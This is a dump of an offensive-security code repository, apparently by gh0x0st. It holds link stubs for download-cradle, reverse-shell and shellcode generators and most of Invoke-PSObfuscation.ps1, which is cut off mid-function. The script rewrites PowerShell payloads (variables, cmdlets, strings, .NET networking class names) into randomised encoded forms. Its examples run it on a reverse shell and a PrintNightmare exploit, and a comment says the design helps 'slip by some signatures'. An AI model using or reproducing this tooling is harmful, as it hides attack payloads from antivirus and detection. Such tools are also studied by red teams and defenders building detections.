[
  {
    "path": "Get-DownloadCradle/README.md",
    "content": "https://github.com/gh0x0st/Get-DownloadCradle\n"
  },
  {
    "path": "Get-ReverseShell/README.md",
    "content": "https://github.com/gh0x0st/Get-ReverseShell\n"
  },
  {
    "path": "Get-Shellcode/README.md",
    "content": "https://github.com/gh0x0st/Get-Shellcode\n"
  },
  {
    "path": "Invoke-PSObfuscation.ps1",
    "content": "Function Invoke-PSObfuscation() {\n    <#\n    .SYNOPSIS\n        Transforms PowerShell scripts into something obscure, unclear, or unintelligible.\n    \n    .DESCRIPTION\n        Where most obfuscation tools tend to add layers to encapsulate standing code, such as base64 or compression, \n        they tend to leave the intended payload intact, which essentially introduces chokepoints. Invoke-PSObfuscation \n        focuses on replacing the existing components of your code, or layer 0, with alternative values. \n    \n    .PARAMETER Path\n        A user provided PowerShell payload via a flat file.\n    \n    .PARAMETER All\n        The all switch is used to engage every supported component to obfuscate a given payload. This action is very intrusive\n        and could result in your payload being broken. There should be no issues when using this with the vanilla reverse\n        shell. However, it's recommended to target specific components with more advanced payloads. Keep in mind that some of \n        the generators introduced in this script may even confuse your ISE so be sure to test properly.\n        \n    .PARAMETER Aliases\n        The aliases switch is used to instruct the function to obfuscate aliases.\n\n    .PARAMETER Cmdlets\n        The cmdlets switch is used to instruct the function to obfuscate cmdlets.\n\n    .PARAMETER Comments\n        The comments switch is used to instruct the function to remove all comments.\n\n    .PARAMETER Integers\n        The integers switch is used to instruct the function to obfuscate integers.\n\n    .PARAMETER Methods\n        The methods switch is used to instruct the function to obfuscate method invocations.\n\n    .PARAMETER NamespaceClasses\n        The namespaceclasses switch is used to instruct the function to obfuscate namespace classes.\n    \n    .PARAMETER Pipes\n        The pipes switch is used to instruct the function to obfuscate pipes.\n\n    .PARAMETER PipelineVariables\n        The pipeline variables switch is used to instruct the function to obfuscate pipeline variables.\n\n    .PARAMETER ShowChanges\n        The ShowChanges switch is used to instruct the script to display the raw and obfuscated values on the screen.\n\n    .PARAMETER Strings\n        The strings switch is used to instruct the function to obfuscate prompt strings.\n  \n    .PARAMETER Variables\n        The variables switch is used to instruct the function to obfuscate variables.\n\n    .EXAMPLE\n        PS C:\\> Invoke-PSObfuscation -Path .\\revshell.ps1 -All\n    \n    .EXAMPLE\n        PS C:\\> Invoke-PSObfuscation -Path .\\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printernightmare.ps1\n    \n    .OUTPUTS\n        System.String, System.String\n    \n    .NOTES\n        Additional information about the function.\n    #>\n    [CmdletBinding()]\n    [OutputType([System.String])]\n    param\n    (\n        [Parameter(Mandatory = $true, Position = 0)]\n        [System.String]$Path,\n        [Parameter(Mandatory = $false, Position = 2)]\n        [System.String]$OutFile = (Join-Path -Path $(Get-Location) -ChildPath 'obfuscated.ps1'),\n        [switch]$All,\n        [switch]$Aliases,\n        [switch]$Cmdlets,\n        [switch]$Comments,\n        [switch]$Methods,\n        [switch]$Integers,\n        [switch]$NamespaceClasses,\n        [switch]$Pipes,\n        [switch]$PipelineVariables,\n        [switch]$Strings,\n        [switch]$Variables,\n        [switch]$ShowChanges\n    )\n    Begin {\n        Write-Output ''\n        Write-Output '     >> Layer 0 Obfuscation'\n        Write-Output '     >> https://github.com/gh0x0st'\n        Write-Output ''\n\n        $Content = [System.IO.File]::ReadAllLines( ( Resolve-Path $Path ))\n\n    }\n    Process {\n        # Check if we are using at least one parameter\n        if (!($All -or $Aliases -or $Comments -or $Methods -or $Strings -or $Variables -or $Pipes -or $Cmdlets -or $Integers -or $NamespaceClasses -or $PipelineVariables -or $Listener) ) {\n            Write-Output '[!] You must include at least one switch parameter'\n            Write-Output ''\n            break\n        }\n        else {\n            $Obfuscated = $Content | Out-String\n        }\n\n        # Are we running everything?\n        if ($All) {\n            $Aliases = $true\n            $Cmdlets = $true\n            $Comments = $true\n            $Integers = $true\n            $Methods = $true\n            $NamespaceClasses = $true\n            $Pipes = $true\n            $PipelineVariables = $true\n            $Strings = $true\n            $Variables = $true\n        }\n\n        # Obfuscate the things with the code\n        if ($Aliases) {\n            Write-Output '[*] Resolving aliases'\n            $Obfuscated = Resolve-Aliases -Payload $Obfuscated\n        } \n\n        if ($Integers) {\n            Write-Output \"[*] Obfuscating integers\"\n            $Obfuscated = Find-Integer -Payload $Obfuscated\n        }\n\n        if ($Strings) {\n            Write-Output '[*] Obfuscating strings'\n            $Obfuscated = Find-String -Payload $Obfuscated\n        }\n\n        if ($NamespaceClasses) {\n            Write-Output \"[*] Obfuscating namespace classes\"\n            $Obfuscated = Find-NameSpace -Payload $Obfuscated\n        }\n\n        if ($Cmdlets) {\n            Write-Output \"[*] Obfuscating cmdlets\"\n            $Obfuscated = Find-Cmdlet -Payload $Obfuscated\n        }\n\n        if ($Pipes) {\n            Write-Output \"[*] Obfuscating pipes\"\n            $Obfuscated = Find-Pipe -Payload $Obfuscated\n        }\n\n        if ($PipelineVariables) {\n            Write-Output \"[*] Obfuscating pipeline variables\"\n            $Obfuscated = Find-PipelineVariable -Payload $Obfuscated\n        }\n\n        if ($Variables) {\n            Write-Output \"[*] Obfuscating variables\"\n            $Obfuscated = Find-Variable -Payload $Obfuscated\n        }\n\n        if ($Methods) {\n            Write-Output '[*] Obfuscating method invocations'\n            $Obfuscated = Find-Method -Payload $Obfuscated\n        }\n\n        if ($Comments) {\n            Write-Output \"[*] Removing comments\"\n            $Obfuscated = Remove-Comments -Payload $Obfuscated\n        }\n    }\n    End {\n        $Obfuscated | Out-File $Outfile\n        Write-Output \"[*] Writing payload to $Outfile\"\n        Write-Output '[*] Done'\n        Write-Output \"\"\n    }\n}\n\nFunction New-EncodedBeacon() {\n    <#\n    .SYNOPSIS\n        Genenerates an encoded beacon value from a given value.\n    \n    .DESCRIPTION\n        Genenerates an encoded beacon to enable us to obfuscate each instance of a non-unqiue value.\n\n    .PARAMETER Value\n        The Value parameter is used to instruct the function which value needs to be converted into a beacon.\n        If no value is provided, then the function will insert a timestamp.\n    \n    .EXAMPLE\n        PS C:\\> New-EncodedBeacon -Value 'value'\n    \n    .NOTES\n        Additional information about the function.\n    #>\n    [OutputType([System.String])]\n    param\n    (\n        [Parameter(Mandatory = $false, Position = 0)]\n        [System.String]$Value\n    )\n    Begin {\n        $Start = \"<obfus\"\n        $End = 'cate>'\n    }\n    Process {\n        if ($Value) {\n            $Beacon = $Start + (($Value -split '') -join '%') + $End\n        }\n        else {\n            $Beacon = $Start + ((Get-Date -UFormat %s).Split('.')[0]) + $End\n        }\n    }\n    End {\n        return $Beacon\n    }\n}\n\nfunction Remove-Comments {\n    <#\n    .SYNOPSIS\n        Removes comments from a given payload.\n    \n    .DESCRIPTION\n        Removes all instances of single line comment and multi-line block comments.\n    \n    .PARAMETER Payload\n        The payload containing the PowerShell script to be converted.\n    \n    .EXAMPLE\n        PS C:\\> Remove-Comments -Payload $value1\n    \n    .NOTES\n        Additional information about the function.\n    #>\n    [OutputType([System.String])]\n    param\n    (\n        [Parameter(Mandatory = $true, Position = 0)]\n        [System.Array]$Payload\n    )\n    Begin {\n        [regex]$SLCPattern = '(?m)(?<!<)#(?!>).*$'\n        [regex]$MLCPattern = '(?ms)<#.*?#>'\n    }\n    Process {\n        # Single Line Comments\n        $Payload = $Payload -replace $SLCPattern\n\n        # Multi-Line Block Comments\n        $Payload = $Payload -replace $MLCPattern\n    }\n    End {\n        return $Payload\n    }\n}\n\nFunction Resolve-Aliases() {\n    <#\n    .SYNOPSIS\n        Resolves aliases to their proper name.\n    \n    .DESCRIPTION\n        Resolves aliases within the payload to their proper name. The supported aliases are hardcoded into the function.\n    \n    .PARAMETER Payload\n        The payload containing the PowerShell script to be converted.\n    \n    .EXAMPLE\n        PS C:\\> Resolve-Aliases -Payload 'value1'\n    \n    .NOTES\n        Additional information about the function.\n    #>\n    [OutputType([System.String])]\n    param\n    (\n        [Parameter(Mandatory = $true, Position = 0)]\n        [System.String]$Payload\n    )\n    Begin {\n        $PossibleAliases = Get-Alias\n        $Aliases = [System.Management.Automation.PSParser]::Tokenize($Payload,[ref]$null) | Where-Object {$_.Type -eq 'Command' -and $_.Content -in $PossibleAliases.Name} | Select-Object -ExpandProperty Content\n\n    }\n    Process {\n        ForEach ($A in $Aliases) {       \n            $ResolvedCommand = $PossibleAliases | Where-Object {$_.Name -eq \"$A\"} | Select -ExpandProperty ResolvedCommand | Select -ExpandProperty Name\n            $Payload = $Payload -replace \"\\b$A\\b\", $ResolvedCommand\n\n            # Show Changes\n            if ($ShowChanges) {\n                Write-Host \"    $A >> $ResolvedCommand\"\n            }\n        }\n    }\n    End {\n        return $Payload\n    }\n}\n\nfunction Get-OperatorEncapsulation() {\n    <#\n    .SYNOPSIS\n        Encapsulates a given value within up to 3 different operating groupings.\n    \n    .DESCRIPTION\n        Encapsulates a given value within up to 3 different operating groupings by selecting\n        a random number between 0 and 3. If the value is 0 nothing will change and the value is passed\n        in it's original form. Otherwise it will encapsulted between grouping expression operator () \n        or the subexpression operator $()\n\n    .PARAMETER Value\n        The value to be potentionally encapsulated within powershell operators.\n    \n    .EXAMPLE\n        PS C:\\> Get-OperatorEncapsulation -Value 'value'\n    \n    .NOTES\n        Additional information about the function.\n    #>\n    [OutputType([System.String])]\n    param (\n        [Parameter(Mandatory = $true, Position = 0)]\n        [System.String]$Value\n    )\n    Begin {\n        $maxIterations = 1..3 | Get-Random\n        $NewValue = $Value\n    }\n    Process {\n        $iterations = 1\n        while ($iterations -le $maxIterations) {\n            # Subexpression operator\n            if ((1..2 | Get-Random) -eq 1) {\n                $newValue = '$(' + $newValue + ')'\n            }\n            # Grouping Expression operator\n            else {\n                $newValue = '(' + $newValue + ')'\n            }\n            $iterations++\n        }\n    }\n    End {\n        return $NewValue\n    }\n}\n\nFunction Get-ObfuscatedVariable() {\n    <#\n    .SYNOPSIS\n        Genenerates a random variable name.\n    \n    .DESCRIPTION\n        Generates a random variable name using a randomly selected algorithm.\n    \n    .EXAMPLE\n        PS C:\\> Get-ObfuscatedVariable\n    \n    .NOTES\n        If you are reading this then you have noticed that generators 1-3 result in the same thing.\n        The idea here is to inspire you by showing you there is always more than one way to\n        generate an intended value or logic.\n    #>\n    [OutputType([System.String])]\n    param ()\n    Begin {\n        $Picker = 1..3 | Get-Random\n        If ($ShowChanges) {\n            Write-Host -NoNewline \"    Generator $($Picker) >> \"\n        }\n    }\n    Process {\n        Switch ($Picker) {\n            1 {\n                # Generates a random variable name by selecting at random, up to 25 numbers from the ASCII set (0-9, A-Z, a-z) and concatenating them together with their associated letter and the $ symbol to form a proper variable name.\n                $NewValue = '$' + (((48..57) + (65..90) + (97..122) | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { [char]$_ }) -join '')\n            }\n            2 {\n                # Generates a random variable name by selecting at random, up to 25 numbers from the given alpha-numerical set and concatenating them together the $ symbol to form a proper variable name.\n                $NewValue = '$' + (('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Get-Random -Count (1..25 | Get-Random) | ForEach-Object { $_ }) -join '')\n            }\n            3 {\n                # Generates a randomized array of an alpha-numerical set, then selects up to 25 randomly selected characters based on their position in the array\n                $AlphaNum = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Sort-Object { Get-Random }\n                $NewValue = '$' + ((0..(Get-Random -Minimum 1 -Maximum 25) | ForEach-Object { $AlphaNum[$(Get-Random -Minimum 0 -Maximum $AlphaNum.Count)] } ) -join '')\n            }\n            \n        }\n    }\n    End {\n        return $NewValue\n    }\n}\n\nfunction Find-Variable() {\n    <#\n    .SYNOPSIS\n        Identifies and replaces variables within a given payload.\n    \n    .DESCRIPTION\n        Peforms a regex search for all variables within the payload and replaces each instance with a new value.\n    \n    .PARAMETER Payload\n        The payload containing the PowerShell script to be converted.\n    \n    .EXAMPLE\n        PS C:\\> Find-Variable -Payload 'value1'\n    \n    .NOTES\n        This function replaces each instance with a unique value across the board to ensure integrity with variable usage within the payload.\n        Yes, I know this is ugly to look at. This is a bit more of a pain when dealing with parameters from custom functions + variables. \n        I initially ignored the variables that were also parameters from forementioned functions but found it helped slip by some signatures.\n    #>\n    [OutputType([System.String])]\n    param\n    (\n        [Parameter(Mandatory = $true, Position = 0)]\n        [System.String]$Payload\n    )\n    Begin {\n        $Pattern = '(?<!\\w)\\$\\w+'\n        $Variables = [regex]::Matches($Payload, $Pattern).Value | Where-Object { $_ -notlike '$_*' -and $_ -ne '$true' -and $_ -ne '$false' } | Select-Object -Unique\n        $Pattern = '.PARAMETER\\s(\\w+)'\n        $Parameters = [regex]::Matches($Payload, $Pattern).Value | % { '$' + ($_ -split '\\s')[1] }\n\n        # Do not touch the built in variables\n        $Blacklist = '$?', '$^', '$args', '$ConfirmPreference', '$ConsoleFileName', '$DebugPreference', '$Error', '$ErrorActionPreference', '$ErrorView', '$ExecutionContext', '$false', '$FormatEnumerationLimit', '$HOME', '$Host', '$InformationPreference', '$input', '$LASTEXITCODE', '$MaximumAliasCount', '$MaximumDriveCount', '$MaximumErrorCount', '$MaximumFunctionCount', '$MaximumHistoryCount', '$MaximumVariableCount', '$MyInvocation', '$NestedPromptLevel', '$null', '$OutputEncoding', '$PID', '$PROFILE', '$ProgressPreference', '$PSBoundParameters', '$PSCommandPath', '$PSCulture', '$PSDefaultParameterValues', '$PSEdition', '$PSEmailServer', '$PSHOME', '$PSScriptRoot', '$PSSessionApplicationName', '$PSSessionConfigurationName', '$PSSessionOption', '$PSUICulture', '$PSVersionTable', '$PWD', '$ShellId', '$StackTrace', '$true', '$VerbosePreference', '$WarningPreference', '$WhatIfPreference'\n        $Blacklist = $Blacklist + '$Position', '$Ocpffset', '$MarshalAs', '$DllName', '$FunctionName', '$EntryPoint', '$ReturnType', '$ParameterTypes', '$NativeCallingConvention', '$Charset', '$SetLastError', '$Module', '$Namespace'\n        $Variables = Compare-Object -ReferenceObject $Blacklist -DifferenceObject $Variables | ? { $_.SideIndicator -eq '=>' } | Select -ExpandProperty InputObject\n    }\n    Process { \n        Try { \n            $Occurrences = Compare-Object -ReferenceObject $Parameters -DifferenceObject $Variables -IncludeEqual\n            \n            # Parameters\n            $Occurrences | ? { $_.SideIndicator -eq '==' } | % {\n                $NewValue = Get-ObfuscatedVariable\n                \n                # Variable Declaration of Parameter\n                $ToReplace = $($_.InputObject)\n                $Pattern = '\\{0}\\b' -f $ToReplace\n                $Payload = $Payload -replace $Pattern, $NewValue \n                \n                # Parameter Declaration\n                $ToReplace = $($_.InputObject) -replace '\\$', '-'\n                $ReplaceWith = $($NewValue -replace '\\$', '-')\n\n                \n                $Pattern = '{0}\\b' -f $ToReplace\n                $Payload = $Payload -replace $Pattern, $ReplaceWith \n\n                # Show Changes\n                if ($ShowChanges) {\n                    Write-Host \"$ToReplace >> $ReplaceWith\"\n                } else {\n                    Write-Host \"[-] $ToReplace is now $ReplaceWith\"\n                }\n            }\n            \n            # Variables    \n            $Occurrences | ? { $_.SideIndicator -eq '=>' } | % {\n                $NewValue = Get-ObfuscatedVariable               \n                $ToReplace = $($_.InputObject)              \n                $Pattern = '\\{0}\\b' -f $ToReplace\n                $Payload = $Payload -replace $Pattern, $NewValue \n\n                # Show Changes\n                if ($ShowChanges) {\n                    Write-Host \"$($_.InputObject) >> $NewValue\"\n                }\n            }\n        \n            \n        }\n        Catch {\n            Write-Host \"[!] $($MyInvocation.MyCommand.Name) Error - $($_.Exception.Message) - Skipping\"\n        }\n    }\n    End {\n        return $Payload\n    }\n}\n\n\n\nfunction Get-ObfuscatedCmdlet() {\n    <#\n    .SYNOPSIS\n        Genenerates a new variation of the derived cmdlet.\n    \n    .DESCRIPTION\n        Genenerates a new variation of the derived cmdlet variation using a randomly selected algorithm.\n    \n    .PARAMETER Cmdlet\n        The cmdlet that will be replaced within the given payload.\n\n    .EXAMPLE\n        PS C:\\> Get-ObfuscatedCmdlet -Cmdlet 'value'\n    \n    .NOTES\n        Additional information about the function.\n    #>\n    [OutputType([System.String])]\n    param\n    (\n        [Parameter(Mandatory = $true, Position = 0)]\n        [System.String]$Cmdlet\n    )\n    Begin {\n        $Picker = 1..2 | Get-Random\n        If ($ShowChanges) {\n            Write-Host -NoNewline \"    Generator $($Picker) >> \"\n        }\n    }\n    Process {\n        Switch ($Picker) {\n            1 { \n                # All valid characters in a cmdlet name\n                $Valid = ('-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.ToCharArray() | Sort-Object { Get-Random }) -join ''\n                $ReplaceWith = $Valid.ToCharArray()\n                $ExtractedCharArray = @()\n                $CmdletCharArray = $Cmdlet.ToCharArray()\n                \n                # Loop through each character within each command\n                ForEach ($Char in $CmdletCharArray) {\n                    If ($Char -in $ReplaceWith) {\n                        $ExtractedCharArray += $([array]::IndexOf($ReplaceWith, $Char))\n                    }\n                }\n\n                # Final Value\n                $NewValue = \"& ((\"\"$Valid\"\")[$($ExtractedCharArray -join ',')] -join '')\"\n            }\n            2 {\n                $CharArrayString = ($Cmdlet.ToCharArray() | ForEach-Object { [int][char]$_ }) -join \",\"\n                $NewValue = '& ([string]::join('''', ( (<OBFUSCATED>) |%{ ( [char][int] $_)})) | % {$_})' -replace '<OBFUSCATED>', $CharArrayString\n            }\n        }\n    }\n    End {\n        return $NewValue\n    }\n}\n\nfunction Find-Cmdlet() {\n    <#\n    .SYNOPSIS\n        Identifies and replaces cmdlets within a given payload.\n    \n    .DESCRIPTION\n        Peforms a regex search for all cmdlets within the payload and replaces each cmdlet instance with a new value.\n    \n    .PARAMETER Payload\n        The payload containing the powershell script to be converted\n    \n    .EXAMPLE\n        PS C:\\> Find-Cmdlet -Payload 'Value1'\n    \n    .NOTES\n        This replaces each instance with a unique value by inserting unique beacon values that get replaced.\n    #>\n    [OutputType([System.String])]\n    param\n    (\n        [Parameter(Mandatory = $true, Position = 0)]\n        [System.String]$Payload\n    )\n    Begin {\n        $PossibleCmdlets = Get-Command | Where-Object { $_.name -like \"*-*\" } | Select-Object -ExpandProperty Name\n        $Occurrences = [System.Management.Automation.PSParser]::Tokenize($Payload,[ref]$null) | Where-Object {$_.Type -eq 'Command' -and $_.Content -in $PossibleCmdlets} | Select-Object -ExpandProperty Content\n    }\n    Process {  \n        try {\n            # For each occurence, replace it with a beacon value\n            $Occurrences | ForEach-Object {\n                $Beacon = New-EncodedBeacon -Value $_\n                [regex]$Pattern = \"(?<!<obfu%)\\b$_\\b(?!%cate>)\"\n                $Payload = $Pattern.replace($Payload, $Beacon)\n            }\n\n            # For each occurence, replace it with an obfuscated value\n            (($Payload | Select-String '<obfus(.*?)cate>' -AllMatches)).Matches.Value | ForEach-Object {\n                $Decoded = $_ -replace '<obfus' -replace 'cate>' -replace '%'\n                $NewValue = Get-ObfuscatedCmdlet -cmdlet $Decoded\n                $Payload = $Payload.Replace(\"$_\", $NewValue, 1)\n\n                # Show Changes\n                if ($ShowChanges) {\n                    Write-Host \"$Decoded >> $NewValue\"\n                }\n            }\n        }\n        Catch {\n            Write-Host \"[!] $($MyInvocation.MyCommand.Name) Error - $($_.Exception.Message) - Skipping\"\n        }\n    }\n    End {\n        return $Payload\n    }\n}\n\nfunction Get-ObfuscatedPipe() {\n    <#\n    .SYNOPSIS\n        Genenerates a new pipe variation.\n    \n    .DESCRIPTION\n        Generates a random pipe variation name using a randomly selected algorithm.\n    \n    .EXAMPLE\n        PS C:\\> Get-ObfuscatedPipe\n    \n    .NOTES\n        Additional information about the function.\n    #>\n    [OutputType([System.String])]\n    param ()\n    Begin {\n        $Picker = 1..11 | Get-Random\n        If ($ShowChanges) {\n            Write-Host -NoNewline \"    Generator $($Picker) >> \"\n        }\n    }\n    Process {\n        Switch ($Picker) {\n            1 { $NewValue = '|%{$_}|' }\n            2 { $NewValue = '|%{;$_}|' }\n            3 { $NewValue = '|%{;$_;}|' }\n            4 { $NewValue = '|<##>%{$_}<##>|' }\n            5 { $NewValue = '|<##>%{$_}|' }\n            6 { $NewValue = '|<##>ForEach-Object{$_}<##>|' }\n            7 { $NewValue = '|<##>ForEach-Object{$_}|' }\n            8 { $NewValue = '|%{$_}|ForEach-Object{$_}|' }\n            9 { $NewValue = '|ForEach-Object{$_}|%{$_}|' }\n            10 { $NewValue = '|ForEach-Object{$_}|' }\n            11 { $NewValue = '|ForEach-Object{$_}|ForEach-Object{$_}|' }\n        }\n    }\n    End {\n        return $NewValue\n    }\n}\n\nfunction Find-Pipe() {\n    <#\n    .SYNOPSIS\n        Identifies and replaces pipes within a given payload.\n    \n    .DESCRIPTION\n        Peforms a regex search for all pipes (|) within the payload and replaces each instance with a new value.\n    \n    .PARAMETER Payload\n        The payload containing the PowerShell script to be converted.\n    \n    .EXAMPLE\n        PS C:\\> Find-Pipe -Payload 'value1'\n    \n    .NOTES\n        This replaces each instance with a unique value by inserting unique beacon values that get replaced.\n    #>\n    [OutputType([System.String])]\n    param\n    (\n        [Parameter(Mandatory = $true, Position = 0)]\n        [System.String]$Payload\n    )\n    Begin {\n        $Occurrences = ($Payload | Select-String \"\\|\" -AllMatches).Matches.Value\n    }\n    Process {  \n        try {\n            # For each occurence, replace it with a beacon value\n            $Occurrences | ForEach-Object {\n                $Beacon = New-EncodedBeacon -Value $_\n                [regex]$Pattern = \"(?<!<obfu%)\\|(?!%cate>)\"\n                $Payload = $Pattern.replace($Payload, $Beacon, 1)\n            }\n\n            # For each occurence, replace it with an obfuscated value\n            (($Payload | Select-String '<obfus(.*?)cate>' -AllMatches)).Matches.Value | ForEach-Object {\n                $Decoded = $_ -replace '<obfus' -replace 'cate>' -replace '%'\n                $NewValue = Get-ObfuscatedPipe\n                $Payload = $Payload.Replace(\"$_\", $NewValue, 1)\n\n                # Show Changes\n                if ($ShowChanges) {\n                    Write-Host \"$Decoded >> $NewValue\"\n                }\n            }\n        }\n        Catch {\n            Write-Host \"[!] $($MyInvocation.MyCommand.Name) Error - $($_.Exception.Message) - Skipping\"\n        }\n    }\n    End {\n        return $Payload\n    }\n}\n\nfunction Get-ObfuscatedNamespace() {\n    <#\n    .SYNOPSIS\n        Genenerates a new namespace class name variation.\n    \n    .DESCRIPTION\n        Genenerates a new namespace class name variation using a randomly selected algorithm.\n\n    .PARAMETER NamespaceClass\n        The namespace class that will be replaced within the given payload.\n    \n    .EXAMPLE\n        PS C:\\> Get-ObfuscatedNamespace -NamespaceClass 'value'\n    \n    .NOTES\n        Additional information about the function.\n    #>\n    [OutputType([System.String])]\n    param\n    (\n        [Parameter(Mandatory = $true, Position = 0)]\n        [System.String]$NamespaceClass\n    )\n    Begin {\n        $Picker = 1..2 | Get-Random\n        If ($ShowChanges) {\n            Write-Host -NoNewline \"    Generator $($Picker) >> \"\n        }\n    }\n    Process {\n        Switch ($Picker) {\n            1 {\n                $CharArrayString = ($NamespaceClass.ToCharArray() | ForEach-Object { [int][char]$_ }) -join \",\"\n                $NewValue = '([string]::join('''', ( (<OBFUSCATED>) |%{ ( [char][int] $_)})) | % {$_})' -replace '<OBFUSCATED>', $CharArrayString\n            }\n            2 {\n                $Chars = ([int[]][char[]]$NamespaceClass | ForEach-Object { \n                        $OrigChar = $_\n                        $Random = 1..122 | Get-Random\n                        $Iteration = (1..3 | get-random)\n                        if ($Iteration -eq 1) {\n                            \"[char]($Random+$OrigChar-$Random)\"\n                        }\n                        elseif (($Iteration -eq 2)) {\n                            \"[char]($Random*$OrigChar/$Random)\"\n                        }\n                        elseif (($Iteration -eq 3)) {\n                            \"[char](0+$OrigChar-0)\"\n                        }\n                    }) -join '+'\n\n                $NewValue = '$(<OBFUSCATED>)' -replace '<OBFUSCATED>', $Chars\n            }\n        }\n    }\n    End {\n        return $NewValue\n    }\n}\n\nfunction Find-Namespace() {\n    <#\n    .SYNOPSIS\n        Identifies and replaces namespace class names within a given payload.\n    \n    .DESCRIPTION\n        Peforms a regex search for the defined set of namespace class names within the payload and replaces each instance with a new value.\n    \n    .PARAMETER Payload\n        The payload containing the PowerShell script to be converted.\n    \n    .EXAMPLE\n        PS C:\\> Find-Namespace -Payload 'value1'\n    \n    .NOTES\n        This replaces each instance with a unique value by inserting unique beacon values that get replaced.\n    #>\n    [OutputType([System.String])]\n    param\n    (\n        [Parameter(Mandatory = $true, Position = 0)]\n        [System.String]$Payload\n    )\n    Begin {\n        $Pattern = '(?<!\\[)System\\.IO\\.MemoryStream|System\\.IO\\.Compression\\.GZipStream|System\\.Net\\.WebClient|System\\.Net\\.Sockets\\.TCPClient|System\\.Text\\.ASCIIEncoding|System\\.Text\\.UnicodeEncoding|System\\.IO\\.Compression\\.CompressionMode(?!\\])'\n        $Occurrences = [regex]::Matches($Payload, $Pattern).Value | Select-Object -Unique\n    }\n    Process {  \n        Try {\n            # For each occurence, replace it with a beacon value\n            $Occurrences | ForEach-Object {\n                $Beacon = New-EncodedBeacon -Value $_\n                [regex]$Pattern = \"(?<!<obfu%)(?i)$_(?!%cate>)\"\n                $Payload = $Pattern.replace($Payload, $Beacon, 1)\n            }\n            \n            # For each occurence, replace it with an obfuscated value\n            (($Payload | Select-String '<obfus(.*?)cate>' -AllMatches)).Matches.Value | ForEach-Object {\n                $Decoded = $_ -replace '<obfus' -replace 'cate>' -replace '%'\n                $NewValue = Get-ObfuscatedNameSpace -NamespaceClass $Decoded\n                $Payload = $Payload.Replace(\"$_\", $NewValue, 1)\n\n                # Show Changes\n                if ($ShowChanges) {\n                    Write-Host \"$Decoded >> $NewValue\"\n                }\n            }\n        }\n        Catch {\n            Write-Host \"[!] $($MyInvocation.MyCommand.Name) Error - $($_.Exception.Message) - Skipping\"\n        }\n    }\n    End {\n        return $Payload\n    }\n}\n\nFunction Get-ObfuscatedString {\n    <#\n    .SYNOPSIS\n        Genenerates a new variation of the sendback prompts\n    \n    .DESCRIPTION\n        Genenerates a new variation of the sendback strings using a randomly selected algorithm.\n\n    .PARAMETER String\n        The string that will be replaced within the given payload.\n    \n    .EXAMPLE\n        PS C:\\> Get-ObfuscatedString -String 'value1'\n    \n    .NOTES\n        Additional information about the function.\n    #>\n    [OutputType([System.String])]\n    param\n    (\n        [Parameter(Mandatory = $true, Position = 0)]\n        [System.String]$String\n    )\n    Begin {\n        $Picker = 1..3 | Get-Random\n        If ($ShowChanges) {\n            Write-Host -NoNewline \"    Generator $($Picker) >> \"\n        }\n        $String = $String -replace '\"'\n    }\n    Process {\n        Switch ($Picker) {\n            1 {\n                $CharArrayString = ($String.ToCharArray() | ForEach-Object { [int][char]$_ }) -join \",\"\n                $NewValue = '([string]::join('''', ( (<OBFUSCATED>) |%{ ( [char][int] $_)})) | % {$_})' -replace '<OBFUSCATED>', $CharArrayString\n            }\n            2 {\n                $Chars = ([int[]][char[]]$String | ForEach-Object { \n                        $OrigChar = $_\n                        $Random = 1..122 | Get-Random\n                        $Iteration = (1..3 | get-random)\n                        if ($Iteration -eq 1) {\n                            \"[char]($Random+$OrigChar-$Random)\"\n                        }\n                        elseif (($Iteration -eq 2)) {\n                            \"[char]($Random*$OrigChar/$Random)\"\n                        }\n                        elseif (($Iteration -eq 3)) {\n                            \"[char](0+$OrigChar-0)\"\n                        }\n                    }) -join '+'\n\n                $NewValue = '$(<OBFUSCATED>)' -replace '<OBFUSCATED>', $Chars\n            }\n            3 {\n                $NewValue = ((($String -replace '''') -split '') -join \"'+'\")\n                $NewValue = $NewValue.Substring(2, $NewValue.Length - 4)\n                $NewValue = Get-OperatorEncapsulation -Value $NewValue\n            }\n        }\n    }\n    End {\n        return $NewValue\n    }\n}\n\nfunction Find-String() {\n    <#\n    .SYNOPSIS\n        Identifies and replaces the sendback prompt string values.\n    \n    .DESCRIPTION\n        Peforms a regex search for the defined set expected sendback prompt values within the payload and replaces each instance with a new value.\n    \n    .PARAMETER Payload\n        The payload containing the PowerShell script to be converted\n    \n    .EXAMPLE\n        PS C:\\> Find-String -Payload 'Value1'\n    \n    .NOTES\n        This replaces each instance with a unique value by inserting unique beacon values that get replaced.\n        This component can be quite trick to obfuscate through scripting magic with advanced payloads. \n        I want to improve this process down the road.\n    #>\n    Param (\n        [Parameter(Mandatory = $true, Position = 0)]\n        [System.String]$Payload\n    )\n    Begin {\n        $Occurrences = (($Payload | Select-String '([\"''])(?:(?=(\\\\?))\\2.)*?\\1' -AllMatches)).Matches.Value\n    }\n    Process {  \n        Try {\n            # For each occurence, replace it with a beacon value\n            $Occurrences | ForEach-Object {\n                $Beacon = New-EncodedBeacon -Value ($_ -replace '\"')\n                [regex]$Pattern = \"(?<!<obfu%)([\"\"''])(?:(?=(\\\\?))\\2.)*?\\1(?!%cate>)\"\n                $Payload = $Pattern.replace($Payload, $Beacon, 1)\n            }\n\n            # For each occurence, replace it with an obfuscated value\n            (($Payload | Select-String '<obfus(.*?)cate>' -AllMatches)).Matches.Value | ForEach-Object {\n                $Decoded = $_ -replace '<obfus' -replace 'cate>' -replace '%'\n                $NewValue = Get-ObfuscatedString -String $Decoded\n                $Payload = $Payload.Replace(\"$_\", $NewValue, 1)\n\n                # Show Changes\n                if ($ShowChanges) {\n                    Write-Host \"$Decoded >> $NewValue\"\n                }\n            }\n        }\n        Catch {\n            Write-Host \"[!] $($MyInvocation.MyCommand.Name) Error - $($_.Exception.Message) - Skipping\"\n        }\n    }\n    End {\n        return $Payload\n    }\n}\n\nfunction Get-ObfuscatedPipelineVariable() {\n    <#\n    .SYNOPSIS\n        Genenerates a new pipeline object variable variation.\n    \n    .DESCRIPTION\n        Generates a random pipe variation using a randomly selected algorithm.\n    \n    .EXAMPLE\n        PS C:\\> Get-ObfuscatedPipelineVariable\n    \n    .NOTES\n        Additional information about the function.\n    #>\n    [OutputType([System.String])]\n    param ()\n    Begin {\n        